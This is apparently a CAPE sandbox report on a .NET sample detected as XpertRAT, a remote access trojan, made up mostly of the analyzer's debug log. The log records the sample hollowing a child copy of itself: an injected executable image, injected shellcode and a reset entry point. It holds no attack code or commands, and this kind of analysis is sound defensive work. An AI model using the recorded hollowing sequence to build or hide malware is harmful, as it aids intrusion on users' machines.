Detections

Yara:

XpertRAT

Auto Tasks

#17379: Unpacker

Analysis

Category Package Started Completed Duration Options Log
FILE exe 2020-06-30 09:44:51 2020-06-30 09:49:55 304 seconds Show Options Show Log
route = tor
2020-05-13 09:07:54,805 [root] INFO: Date set to: 20200630T09:09:16, timeout set to: 200
2020-06-30 09:09:16,078 [root] DEBUG: Starting analyzer from: C:\tmpnwhtwc92
2020-06-30 09:09:16,078 [root] DEBUG: Storing results at: C:\CZsEpR
2020-06-30 09:09:16,078 [root] DEBUG: Pipe server name: \\.\PIPE\SBKROHte
2020-06-30 09:09:16,078 [root] DEBUG: Python path: C:\Users\Rebecca\AppData\Local\Programs\Python\Python38-32
2020-06-30 09:09:16,078 [root] DEBUG: No analysis package specified, trying to detect it automagically.
2020-06-30 09:09:16,078 [root] INFO: Automatically selected analysis package "exe"
2020-06-30 09:09:16,078 [root] DEBUG: Trying to import analysis package "exe"...
2020-06-30 09:09:16,093 [root] DEBUG: Imported analysis package "exe".
2020-06-30 09:09:16,109 [root] DEBUG: Trying to initialize analysis package "exe"...
2020-06-30 09:09:16,109 [root] DEBUG: Initialized analysis package "exe".
2020-06-30 09:09:16,203 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.browser"...
2020-06-30 09:09:16,218 [root] DEBUG: Imported auxiliary module "modules.auxiliary.browser".
2020-06-30 09:09:16,218 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.curtain"...
2020-06-30 09:09:16,312 [root] DEBUG: Imported auxiliary module "modules.auxiliary.curtain".
2020-06-30 09:09:16,312 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.digisig"...
2020-06-30 09:09:16,343 [root] DEBUG: Imported auxiliary module "modules.auxiliary.digisig".
2020-06-30 09:09:16,343 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.disguise"...
2020-06-30 09:09:16,593 [root] DEBUG: Imported auxiliary module "modules.auxiliary.disguise".
2020-06-30 09:09:16,593 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.human"...
2020-06-30 09:09:16,609 [root] DEBUG: Imported auxiliary module "modules.auxiliary.human".
2020-06-30 09:09:16,609 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.procmon"...
2020-06-30 09:09:16,609 [root] DEBUG: Imported auxiliary module "modules.auxiliary.procmon".
2020-06-30 09:09:16,609 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.screenshots"...
2020-06-30 09:09:16,609 [modules.auxiliary.screenshots] DEBUG: Importing 'time'
2020-06-30 09:09:16,609 [modules.auxiliary.screenshots] DEBUG: Importing 'StringIO'
2020-06-30 09:09:16,609 [modules.auxiliary.screenshots] DEBUG: Importing 'Thread'
2020-06-30 09:09:16,609 [modules.auxiliary.screenshots] DEBUG: Importing 'Auxiliary'
2020-06-30 09:09:16,609 [modules.auxiliary.screenshots] DEBUG: Importing 'NetlogFile'
2020-06-30 09:09:16,609 [modules.auxiliary.screenshots] DEBUG: Importing 'Screenshot'
2020-06-30 09:09:16,625 [lib.api.screenshot] DEBUG: Importing 'math'
2020-06-30 09:09:16,625 [lib.api.screenshot] DEBUG: Importing 'PIL.ImageChops'
2020-06-30 09:09:18,187 [lib.api.screenshot] DEBUG: Importing 'PIL.ImageGrab'
2020-06-30 09:09:18,203 [lib.api.screenshot] DEBUG: Importing 'PIL.ImageDraw'
2020-06-30 09:09:18,203 [modules.auxiliary.screenshots] DEBUG: Imports OK
2020-06-30 09:09:18,203 [root] DEBUG: Imported auxiliary module "modules.auxiliary.screenshots".
2020-06-30 09:09:18,203 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.sysmon"...
2020-06-30 09:09:18,203 [root] DEBUG: Imported auxiliary module "modules.auxiliary.sysmon".
2020-06-30 09:09:18,218 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.usage"...
2020-06-30 09:09:18,218 [root] DEBUG: Imported auxiliary module "modules.auxiliary.usage".
2020-06-30 09:09:18,218 [root] DEBUG: Trying to initialize auxiliary module "Browser"...
2020-06-30 09:09:18,218 [root] DEBUG: Initialized auxiliary module "Browser".
2020-06-30 09:09:18,218 [root] DEBUG: Trying to start auxiliary module "Browser"...
2020-06-30 09:09:18,234 [root] DEBUG: Started auxiliary module Browser
2020-06-30 09:09:18,234 [root] DEBUG: Trying to initialize auxiliary module "Curtain"...
2020-06-30 09:09:18,234 [root] DEBUG: Initialized auxiliary module "Curtain".
2020-06-30 09:09:18,234 [root] DEBUG: Trying to start auxiliary module "Curtain"...
2020-06-30 09:09:18,234 [root] DEBUG: Started auxiliary module Curtain
2020-06-30 09:09:18,234 [root] DEBUG: Trying to initialize auxiliary module "DigiSig"...
2020-06-30 09:09:18,234 [root] DEBUG: Initialized auxiliary module "DigiSig".
2020-06-30 09:09:18,234 [root] DEBUG: Trying to start auxiliary module "DigiSig"...
2020-06-30 09:09:18,234 [modules.auxiliary.digisig] DEBUG: Checking for a digital signature.
2020-06-30 09:09:18,781 [modules.auxiliary.digisig] DEBUG: File is not signed.
2020-06-30 09:09:18,781 [modules.auxiliary.digisig] INFO: Uploading signature results to aux/DigiSig.json
2020-06-30 09:09:18,796 [root] DEBUG: Started auxiliary module DigiSig
2020-06-30 09:09:18,796 [root] DEBUG: Trying to initialize auxiliary module "Disguise"...
2020-06-30 09:09:18,796 [root] DEBUG: Initialized auxiliary module "Disguise".
2020-06-30 09:09:18,796 [root] DEBUG: Trying to start auxiliary module "Disguise"...
2020-06-30 09:09:18,828 [root] DEBUG: Started auxiliary module Disguise
2020-06-30 09:09:18,828 [root] DEBUG: Trying to initialize auxiliary module "Human"...
2020-06-30 09:09:18,828 [root] DEBUG: Initialized auxiliary module "Human".
2020-06-30 09:09:18,828 [root] DEBUG: Trying to start auxiliary module "Human"...
2020-06-30 09:09:18,828 [root] DEBUG: Started auxiliary module Human
2020-06-30 09:09:18,828 [root] DEBUG: Trying to initialize auxiliary module "Procmon"...
2020-06-30 09:09:18,828 [root] DEBUG: Initialized auxiliary module "Procmon".
2020-06-30 09:09:18,828 [root] DEBUG: Trying to start auxiliary module "Procmon"...
2020-06-30 09:09:18,828 [root] DEBUG: Started auxiliary module Procmon
2020-06-30 09:09:18,828 [root] DEBUG: Trying to initialize auxiliary module "Screenshots"...
2020-06-30 09:09:18,828 [root] DEBUG: Initialized auxiliary module "Screenshots".
2020-06-30 09:09:18,828 [root] DEBUG: Trying to start auxiliary module "Screenshots"...
2020-06-30 09:09:18,828 [root] DEBUG: Started auxiliary module Screenshots
2020-06-30 09:09:18,828 [root] DEBUG: Trying to initialize auxiliary module "Sysmon"...
2020-06-30 09:09:18,843 [root] DEBUG: Initialized auxiliary module "Sysmon".
2020-06-30 09:09:18,843 [root] DEBUG: Trying to start auxiliary module "Sysmon"...
2020-06-30 09:09:18,843 [root] DEBUG: Started auxiliary module Sysmon
2020-06-30 09:09:18,843 [root] DEBUG: Trying to initialize auxiliary module "Usage"...
2020-06-30 09:09:18,843 [root] DEBUG: Initialized auxiliary module "Usage".
2020-06-30 09:09:18,843 [root] DEBUG: Trying to start auxiliary module "Usage"...
2020-06-30 09:09:18,843 [root] DEBUG: Started auxiliary module Usage
2020-06-30 09:09:18,843 [root] INFO: Analyzer: Package modules.packages.exe does not specify a DLL option
2020-06-30 09:09:18,843 [root] INFO: Analyzer: Package modules.packages.exe does not specify a DLL_64 option
2020-06-30 09:09:18,843 [root] INFO: Analyzer: Package modules.packages.exe does not specify a loader option
2020-06-30 09:09:18,843 [root] INFO: Analyzer: Package modules.packages.exe does not specify a loader_64 option
2020-06-30 09:09:19,062 [lib.api.process] INFO: Successfully executed process from path "C:\Users\Rebecca\AppData\Local\Temp\3xPFCTwuZSmjUq.exe" with arguments "" with pid 5616
2020-06-30 09:09:19,062 [lib.api.process] INFO: Monitor config for process 5616: C:\tmpnwhtwc92\dll\5616.ini
2020-06-30 09:09:19,078 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpnwhtwc92\dll\mtQXsK.dll, loader C:\tmpnwhtwc92\bin\xFheZGp.exe
2020-06-30 09:09:19,140 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\SBKROHte.
2020-06-30 09:09:19,140 [root] DEBUG: Loader: Injecting process 5616 (thread 2588) with C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:19,140 [root] DEBUG: Process image base: 0x01160000
2020-06-30 09:09:19,140 [root] DEBUG: InjectDllViaIAT: Executable is .NET, injecting via queued APC.
2020-06-30 09:09:19,156 [root] DEBUG: InjectDllViaQueuedAPC: APC injection queued.
2020-06-30 09:09:19,156 [root] DEBUG: Successfully injected DLL C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:19,156 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 5616
2020-06-30 09:09:21,218 [lib.api.process] INFO: Successfully resumed process with pid 5616
2020-06-30 09:09:21,640 [root] DEBUG: Python path set to 'C:\Users\Rebecca\AppData\Local\Programs\Python\Python38-32'.
2020-06-30 09:09:21,640 [root] DEBUG: Dropped file limit defaulting to 100.
2020-06-30 09:09:21,656 [root] DEBUG: CAPE initialised: 32-bit monitor loaded in process 5616 at 0x6a6b0000, image base 0x1160000, stack from 0x185000-0x190000
2020-06-30 09:09:21,656 [root] DEBUG: Commandline: C:\Users\Rebecca\AppData\Local\Temp\"C:\Users\Rebecca\AppData\Local\Temp\3xPFCTwuZSmjUq.exe".
2020-06-30 09:09:21,687 [root] INFO: Loaded monitor into process with pid 5616
2020-06-30 09:09:21,703 [root] DEBUG: set_caller_info: Adding region at 0x00090000 to caller regions list (advapi32::RegQueryInfoKeyW).
2020-06-30 09:09:21,703 [root] DEBUG: set_caller_info: Adding region at 0x007A0000 to caller regions list (ntdll::RtlDispatchException).
2020-06-30 09:09:21,734 [root] DEBUG: DLL loaded at 0x74DB0000: C:\Windows\system32\cryptbase (0xc000 bytes).
2020-06-30 09:09:21,734 [root] DEBUG: DumpMemory: Exception occured reading memory address 0x7a0000
2020-06-30 09:09:21,812 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\CZsEpR\CAPE\5616_164530742421491530262020 (size 0xf2e)
2020-06-30 09:09:21,812 [root] DEBUG: DumpRegion: Dumped stack region from 0x007A0000, size 0x1000.
2020-06-30 09:09:21,812 [root] DEBUG: set_caller_info: Adding region at 0x004B0000 to caller regions list (kernel32::FindFirstFileExW).
2020-06-30 09:09:22,000 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\CZsEpR\CAPE\5616_20308182821491530262020 (size 0x100099)
2020-06-30 09:09:22,000 [root] DEBUG: DumpRegion: Dumped stack region from 0x004B0000, size 0x101000.
2020-06-30 09:09:22,015 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xb8 amd local view 0x703E0000 to global list.
2020-06-30 09:09:22,015 [root] DEBUG: DLL loaded at 0x703E0000: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei (0x7d000 bytes).
2020-06-30 09:09:22,015 [root] DEBUG: DLL unloaded from 0x76020000.
2020-06-30 09:09:22,031 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xd4 amd local view 0x003D0000 to global list.
2020-06-30 09:09:22,046 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xd0 amd local view 0x003D0000 to global list.
2020-06-30 09:09:22,046 [root] DEBUG: DLL loaded at 0x74330000: C:\Windows\system32\VERSION (0x9000 bytes).
2020-06-30 09:09:22,046 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x69060000 for section view with handle 0xd4.
2020-06-30 09:09:22,046 [root] DEBUG: DLL loaded at 0x69060000: C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr (0x6ef000 bytes).
2020-06-30 09:09:22,062 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x6B9D0000 for section view with handle 0xd4.
2020-06-30 09:09:22,062 [root] DEBUG: DLL loaded at 0x6B9D0000: C:\Windows\system32\MSVCR120_CLR0400 (0xf5000 bytes).
2020-06-30 09:09:22,078 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 5616, handle 0xf4.
2020-06-30 09:09:22,093 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xf8 amd local view 0x003D0000 to global list.
2020-06-30 09:09:22,093 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xfc amd local view 0x003E0000 to global list.
2020-06-30 09:09:22,093 [root] INFO: Disabling sleep skipping.
2020-06-30 09:09:22,093 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 5616.
2020-06-30 09:09:22,093 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 5616.
2020-06-30 09:09:22,125 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 5616.
2020-06-30 09:09:22,140 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x1e8 amd local view 0x05870000 to global list.
2020-06-30 09:09:22,171 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x1ec amd local view 0x667E0000 to global list.
2020-06-30 09:09:22,171 [root] DEBUG: DLL loaded at 0x667E0000: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\6715dc4d04e35f16d482900c355325e9\mscorlib.ni (0x1393000 bytes).
2020-06-30 09:09:22,203 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x200 amd local view 0x72A20000 to global list.
2020-06-30 09:09:22,203 [root] DEBUG: DLL loaded at 0x72A20000: C:\Windows\Microsoft.NET\Framework\v4.0.30319\clrjit (0x80000 bytes).
2020-06-30 09:09:22,203 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x1fc amd local view 0x77020000 to global list.
2020-06-30 09:09:22,203 [root] DEBUG: DLL loaded at 0x77020000: C:\Windows\system32\OLEAUT32 (0x91000 bytes).
2020-06-30 09:09:22,281 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x214 amd local view 0x681A0000 to global list.
2020-06-30 09:09:22,296 [root] DEBUG: DLL loaded at 0x681A0000: C:\Windows\assembly\NativeImages_v4.0.30319_32\System\43822396682b0ffc3cfb66137ddab95f\System.ni (0xa10000 bytes).
2020-06-30 09:09:22,359 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x6A080000 for section view with handle 0x214.
2020-06-30 09:09:22,359 [root] DEBUG: DLL loaded at 0x6A080000: C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\2c462a934e0586ac5e46c8b93e461384\System.Drawing.ni (0x194000 bytes).
2020-06-30 09:09:22,375 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x210 amd local view 0x65AC0000 to global list.
2020-06-30 09:09:22,390 [root] DEBUG: DLL loaded at 0x65AC0000: C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\aece3d371c0714e60f9509d2a3137395\System.Windows.Forms.ni (0xd1d000 bytes).
2020-06-30 09:09:22,828 [root] DEBUG: set_caller_info: Adding region at 0x00470000 to caller regions list (ntdll::NtAllocateVirtualMemory).
2020-06-30 09:09:22,890 [root] DEBUG: ScanForNonZero: Exception occured reading memory address 0x47ffff
2020-06-30 09:09:22,890 [root] DEBUG: DumpRegion: Failed to dump entire allocation from 0x00470000 size 0x10000.
2020-06-30 09:09:22,906 [root] DEBUG: DumpPEsInRange: Scanning range 0x470000 - 0x471000.
2020-06-30 09:09:22,921 [root] DEBUG: ScanForDisguisedPE: No PE image located in range 0x470000-0x471000.
2020-06-30 09:09:23,140 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\CZsEpR\CAPE\5616_190237895242491530262020 (size 0x52d)
2020-06-30 09:09:23,312 [root] DEBUG: DLL loaded at 0x73940000: C:\Windows\system32\uxtheme (0x40000 bytes).
2020-06-30 09:09:24,078 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x220 amd local view 0x655C0000 to global list.
2020-06-30 09:09:24,390 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x228 amd local view 0x00CB0000 to global list.
2020-06-30 09:09:24,890 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x00D20000 for section view with handle 0x228.
2020-06-30 09:09:35,140 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x22c amd local view 0x737A0000 to global list.
2020-06-30 09:09:35,140 [root] DEBUG: DLL loaded at 0x737A0000: C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.24308_none_5c028e37a0121035\gdiplus (0x192000 bytes).
2020-06-30 09:09:35,171 [root] DEBUG: set_caller_info: Adding region at 0x00400000 to caller regions list (ntdll::NtAllocateVirtualMemory).
2020-06-30 09:09:35,171 [root] DEBUG: ScanForNonZero: Exception occured reading memory address 0x40ffff
2020-06-30 09:09:35,171 [root] DEBUG: DumpPEsInRange: Scanning range 0x400000 - 0x401000.
2020-06-30 09:09:35,171 [root] DEBUG: ScanForDisguisedPE: No PE image located in range 0x400000-0x401000.
2020-06-30 09:09:35,203 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\CZsEpR\CAPE\5616_153419899718501530262020 (size 0x14)
2020-06-30 09:09:35,203 [root] DEBUG: DumpRegion: Dumped stack region from 0x00400000, size 0x1000.
2020-06-30 09:09:35,203 [root] DEBUG: DLL loaded at 0x731D0000: C:\Windows\system32\WindowsCodecs (0x131000 bytes).
2020-06-30 09:09:35,203 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x23c amd local view 0x03490000 to global list.
2020-06-30 09:09:35,218 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x034A0000 for section view with handle 0x23c.
2020-06-30 09:09:35,218 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x034B0000 for section view with handle 0x23c.
2020-06-30 09:09:35,640 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x24c amd local view 0x652E0000 to global list.
2020-06-30 09:09:35,640 [root] DEBUG: DLL loaded at 0x652E0000: C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\c8a2021e940773064c655a6ea6ee8cb2\System.Core.ni (0x7e0000 bytes).
2020-06-30 09:09:35,687 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x248 amd local view 0x69EA0000 to global list.
2020-06-30 09:09:35,703 [root] DEBUG: DLL loaded at 0x69EA0000: C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\6090b158fd3d10686b422a455e188125\Microsoft.VisualBasic.ni (0x1d1000 bytes).
2020-06-30 09:09:35,781 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x244 amd local view 0x6E160000 to global list.
2020-06-30 09:09:35,781 [root] DEBUG: DLL loaded at 0x6E160000: C:\Windows\Microsoft.NET\Framework\v4.0.30319\nlssorting (0x13000 bytes).
2020-06-30 09:09:35,781 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x05F10000 for section view with handle 0x244.
2020-06-30 09:09:35,859 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x240 amd local view 0x05500000 to global list.
2020-06-30 09:09:36,109 [root] INFO: Announced 32-bit process name: 3xPFCTwuZSmjUq.exe pid: 5116
2020-06-30 09:09:36,109 [lib.api.process] INFO: Monitor config for process 5116: C:\tmpnwhtwc92\dll\5116.ini
2020-06-30 09:09:36,109 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpnwhtwc92\dll\mtQXsK.dll, loader C:\tmpnwhtwc92\bin\xFheZGp.exe
2020-06-30 09:09:36,156 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\SBKROHte.
2020-06-30 09:09:36,156 [root] DEBUG: Loader: Injecting process 5116 (thread 4900) with C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:36,156 [root] DEBUG: Process image base: 0x01160000
2020-06-30 09:09:36,156 [root] DEBUG: InjectDllViaIAT: Executable is .NET, injecting via queued APC.
2020-06-30 09:09:36,156 [root] DEBUG: InjectDllViaQueuedAPC: APC injection queued.
2020-06-30 09:09:36,171 [root] DEBUG: Successfully injected DLL C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:36,171 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 5116
2020-06-30 09:09:36,187 [root] DEBUG: DLL loaded at 0x74D60000: C:\Windows\system32\apphelp (0x4c000 bytes).
2020-06-30 09:09:36,218 [root] DEBUG: CreateProcessHandler: Injection info set for new process 5116, ImageBase: 0x01160000
2020-06-30 09:09:36,218 [root] INFO: Announced 32-bit process name: 3xPFCTwuZSmjUq.exe pid: 5116
2020-06-30 09:09:36,218 [lib.api.process] INFO: Monitor config for process 5116: C:\tmpnwhtwc92\dll\5116.ini
2020-06-30 09:09:36,218 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpnwhtwc92\dll\mtQXsK.dll, loader C:\tmpnwhtwc92\bin\xFheZGp.exe
2020-06-30 09:09:36,249 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\SBKROHte.
2020-06-30 09:09:36,249 [root] DEBUG: Loader: Injecting process 5116 (thread 4900) with C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:36,249 [root] DEBUG: Process image base: 0x01160000
2020-06-30 09:09:36,249 [root] DEBUG: InjectDllViaIAT: Executable is .NET, injecting via queued APC.
2020-06-30 09:09:36,249 [root] DEBUG: InjectDllViaQueuedAPC: APC injection queued.
2020-06-30 09:09:36,249 [root] DEBUG: Successfully injected DLL C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:36,265 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 5116
2020-06-30 09:09:36,265 [root] DEBUG: WriteMemoryHandler: Executable binary injected into process 5116 (ImageBase 0x400000)
2020-06-30 09:09:36,296 [root] DEBUG: DumpPE: PE file in memory dumped successfully - dump size 0x2b000.
2020-06-30 09:09:36,296 [root] DEBUG: WriteMemoryHandler: Dumped PE image from buffer at 0x453f5d8, SizeOfImage 0x2c000.
2020-06-30 09:09:36,296 [root] INFO: Announced 32-bit process name: 3xPFCTwuZSmjUq.exe pid: 5116
2020-06-30 09:09:36,296 [lib.api.process] INFO: Monitor config for process 5116: C:\tmpnwhtwc92\dll\5116.ini
2020-06-30 09:09:36,296 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpnwhtwc92\dll\mtQXsK.dll, loader C:\tmpnwhtwc92\bin\xFheZGp.exe
2020-06-30 09:09:36,343 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\SBKROHte.
2020-06-30 09:09:36,343 [root] DEBUG: Loader: Injecting process 5116 (thread 0) with C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:36,343 [root] DEBUG: Error 299 (0x12b) - GetProcessInitialThreadId: Failed to read from process: Only part of a ReadProcessMemory or WriteProcessMemory request was completed.
2020-06-30 09:09:36,343 [root] DEBUG: InjectDll: No thread ID supplied, GetProcessInitialThreadId failed (SessionId=1).
2020-06-30 09:09:36,359 [root] DEBUG: Failed to inject DLL C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:36,359 [lib.api.process] ERROR: Unable to inject into 32-bit process with pid 5116, error: 4294967281
2020-06-30 09:09:36,359 [root] DEBUG: WriteMemoryHandler: shellcode at 0x0351308C (size 0x6000) injected into process 5116.
2020-06-30 09:09:36,390 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\CZsEpR\CAPE\5616_191241637819501530262020 (size 0x5061)
2020-06-30 09:09:36,390 [root] DEBUG: WriteMemoryHandler: Dumped injected code/data from buffer.
2020-06-30 09:09:36,390 [root] INFO: Announced 32-bit process name: 3xPFCTwuZSmjUq.exe pid: 5116
2020-06-30 09:09:36,390 [lib.api.process] INFO: Monitor config for process 5116: C:\tmpnwhtwc92\dll\5116.ini
2020-06-30 09:09:36,390 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpnwhtwc92\dll\mtQXsK.dll, loader C:\tmpnwhtwc92\bin\xFheZGp.exe
2020-06-30 09:09:36,406 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\SBKROHte.
2020-06-30 09:09:36,406 [root] DEBUG: Loader: Injecting process 5116 (thread 0) with C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:36,421 [root] DEBUG: Error 299 (0x12b) - GetProcessInitialThreadId: Failed to read from process: Only part of a ReadProcessMemory or WriteProcessMemory request was completed.
2020-06-30 09:09:36,421 [root] DEBUG: InjectDll: No thread ID supplied, GetProcessInitialThreadId failed (SessionId=1).
2020-06-30 09:09:36,421 [root] DEBUG: Failed to inject DLL C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:36,421 [lib.api.process] ERROR: Unable to inject into 32-bit process with pid 5116, error: 4294967281
2020-06-30 09:09:36,437 [root] DEBUG: WriteMemoryHandler: injection of section of PE image which has already been dumped.
2020-06-30 09:09:36,437 [root] INFO: Announced 32-bit process name: 3xPFCTwuZSmjUq.exe pid: 5116
2020-06-30 09:09:36,437 [lib.api.process] INFO: Monitor config for process 5116: C:\tmpnwhtwc92\dll\5116.ini
2020-06-30 09:09:36,437 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpnwhtwc92\dll\mtQXsK.dll, loader C:\tmpnwhtwc92\bin\xFheZGp.exe
2020-06-30 09:09:36,453 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\SBKROHte.
2020-06-30 09:09:36,453 [root] DEBUG: Loader: Injecting process 5116 (thread 0) with C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:36,453 [root] DEBUG: Error 299 (0x12b) - GetProcessInitialThreadId: Failed to read from process: Only part of a ReadProcessMemory or WriteProcessMemory request was completed.
2020-06-30 09:09:36,453 [root] DEBUG: InjectDll: No thread ID supplied, GetProcessInitialThreadId failed (SessionId=1).
2020-06-30 09:09:36,453 [root] DEBUG: Failed to inject DLL C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:36,453 [lib.api.process] ERROR: Unable to inject into 32-bit process with pid 5116, error: 4294967281
2020-06-30 09:09:36,468 [root] INFO: Announced 32-bit process name: 3xPFCTwuZSmjUq.exe pid: 5116
2020-06-30 09:09:36,468 [lib.api.process] INFO: Monitor config for process 5116: C:\tmpnwhtwc92\dll\5116.ini
2020-06-30 09:09:36,468 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpnwhtwc92\dll\mtQXsK.dll, loader C:\tmpnwhtwc92\bin\xFheZGp.exe
2020-06-30 09:09:36,484 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\SBKROHte.
2020-06-30 09:09:36,484 [root] DEBUG: Loader: Injecting process 5116 (thread 0) with C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:36,484 [root] DEBUG: Error 299 (0x12b) - GetProcessInitialThreadId: Failed to read from process: Only part of a ReadProcessMemory or WriteProcessMemory request was completed.
2020-06-30 09:09:36,484 [root] DEBUG: InjectDll: No thread ID supplied, GetProcessInitialThreadId failed (SessionId=1).
2020-06-30 09:09:36,484 [root] DEBUG: Failed to inject DLL C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:36,500 [lib.api.process] ERROR: Unable to inject into 32-bit process with pid 5116, error: 4294967281
2020-06-30 09:09:36,500 [root] DEBUG: SetThreadContextHandler: Hollow process entry point reset via NtSetContextThread to 0x000010B8 (process 5116).
2020-06-30 09:09:36,500 [root] INFO: Announced 32-bit process name: 3xPFCTwuZSmjUq.exe pid: 5116
2020-06-30 09:09:36,500 [lib.api.process] INFO: Monitor config for process 5116: C:\tmpnwhtwc92\dll\5116.ini
2020-06-30 09:09:36,500 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpnwhtwc92\dll\mtQXsK.dll, loader C:\tmpnwhtwc92\bin\xFheZGp.exe
2020-06-30 09:09:36,515 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\SBKROHte.
2020-06-30 09:09:36,515 [root] DEBUG: Loader: Injecting process 5116 (thread 4900) with C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:36,515 [root] DEBUG: Process image base: 0x00400000
2020-06-30 09:09:36,515 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:36,531 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2020-06-30 09:09:36,531 [root] DEBUG: Successfully injected DLL C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:36,531 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 5116
2020-06-30 09:09:36,531 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 5116.
2020-06-30 09:09:36,578 [root] DEBUG: DLL loaded at 0x74880000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2020-06-30 09:09:36,593 [root] DEBUG: DLL loaded at 0x74610000: C:\Windows\system32\rsaenh (0x3b000 bytes).
2020-06-30 09:09:36,593 [root] DEBUG: DLL loaded at 0x74E50000: C:\Windows\system32\RpcRtRemote (0xe000 bytes).
2020-06-30 09:09:36,593 [root] DEBUG: NtTerminateProcess hook: Attempting to dump process 5616
2020-06-30 09:09:36,609 [root] DEBUG: GetHookCallerBase: thread 2588 (handle 0x0), return address 0x004721B9, allocation base 0x00470000.
2020-06-30 09:09:36,609 [root] DEBUG: DoProcessDump: Dumping Imagebase at 0x01160000.
2020-06-30 09:09:36,609 [root] DEBUG: LooksLikeSectionBoundary: Exception occured reading around suspected boundary at 0x01162000
2020-06-30 09:09:36,609 [root] DEBUG: DumpImageInCurrentProcess: Attempting to dump 'raw' PE image.
2020-06-30 09:09:36,609 [root] DEBUG: DumpPE: Instantiating PeParser with address: 0x01160000.
